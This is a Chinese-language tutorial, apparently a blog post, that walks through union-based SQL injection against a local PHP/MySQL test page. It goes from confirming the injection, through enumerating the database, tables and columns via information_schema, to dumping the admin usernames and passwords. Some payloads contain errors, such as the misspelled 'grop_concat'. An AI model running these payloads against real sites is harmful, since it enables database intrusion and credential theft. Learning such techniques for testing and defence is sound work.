• PHP+mysql注入的基本过程


    1:验证注入(and 1=1)

    URL:     http://127.0.0.1/test.php?id=9 and 1=1     sql语句:select * from article where id =‘9 and 1=1’;返回正常

                 http://127.0.0.1/test.php?id=9 and 1=2     sql语句:select * from aritcle where id =‘9 and 1=2’;返回报错

    2:判断字符段数(order by和 union)

    2.1    order by

    URL:      http://127.0.0.1/test.php?id=9 order by 1,2,3,4         sql语句:select * from aritcle where id =9  order by 1,2,3,4;

    order by 在sql语句中是对结果集的指定列进行排序。

    如:当我们测试到7时报错,表明该表只有6个字段

    2.2     UNION select

    url:http://127.0.0.1/test.php?id=9 union select null,null,null,null             sql语句:select * from aritcle where id=9 union select null,null,null;

    UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,
    就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,
    也就是说当我们union select的列与它查询的列相同时,页面返回正常。

    如:当字段为6个时页面返回正常,而大于或小于6个页面会报错。

    解决两个小问题:
    问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,
    我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,
    第二种是通过sql语句直接返回我们想要的数据。

    法一:我们让第一个查询的结果始终为假

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
    sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

    结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了
    我们把语句放在mysql中看一下返回结果:

    法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
    sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1

    返回也是空,同上面结果一样

    问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,
    并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,
    确定了2,3,4,5 四个字段可以在页面中显示。
    回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
    sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

    3.查询数据库

    可以通过使用mysql自带的函数database()查询,得到数据库名:test

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
    sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

    结果:显示出test

    4.查表名

    查表名我们主要用到的是TABLES表。
    这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。
    这里我们的目标是admin表。

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
    sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

    结果:显示出所有表名,第一个为admin

    5.查字段:
    这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

    url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
    sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

    结果:id,username,password

    6:查数据

    url:    http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
    sql语句:     SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
    结果就出来了

            

  • 相关阅读:
    hdu 1240:Asteroids!(三维BFS搜索)
    hdu 2199:Can you solve this equation?(二分搜索)
    hdu 1195:Open the Lock(暴力BFS广搜)
    【ACM
    hrbustoj 1161:Leyni(树状数组练习)
    时间作为横轴的图表(morris.js)超越昨天的自己系列(8)
    Bean实例化(Spring源码阅读)-我们到底能走多远系列(33)
    Sharded实现学习-我们到底能走多远系列(32)
    初始化IoC容器(Spring源码阅读)-我们到底能走多远系列(31)
    一致性哈希算法 应用场景(转)
  • 原文地址:https://www.cnblogs.com/zhouzetian/p/7298957.html
Copyright © 2020-2023  润新知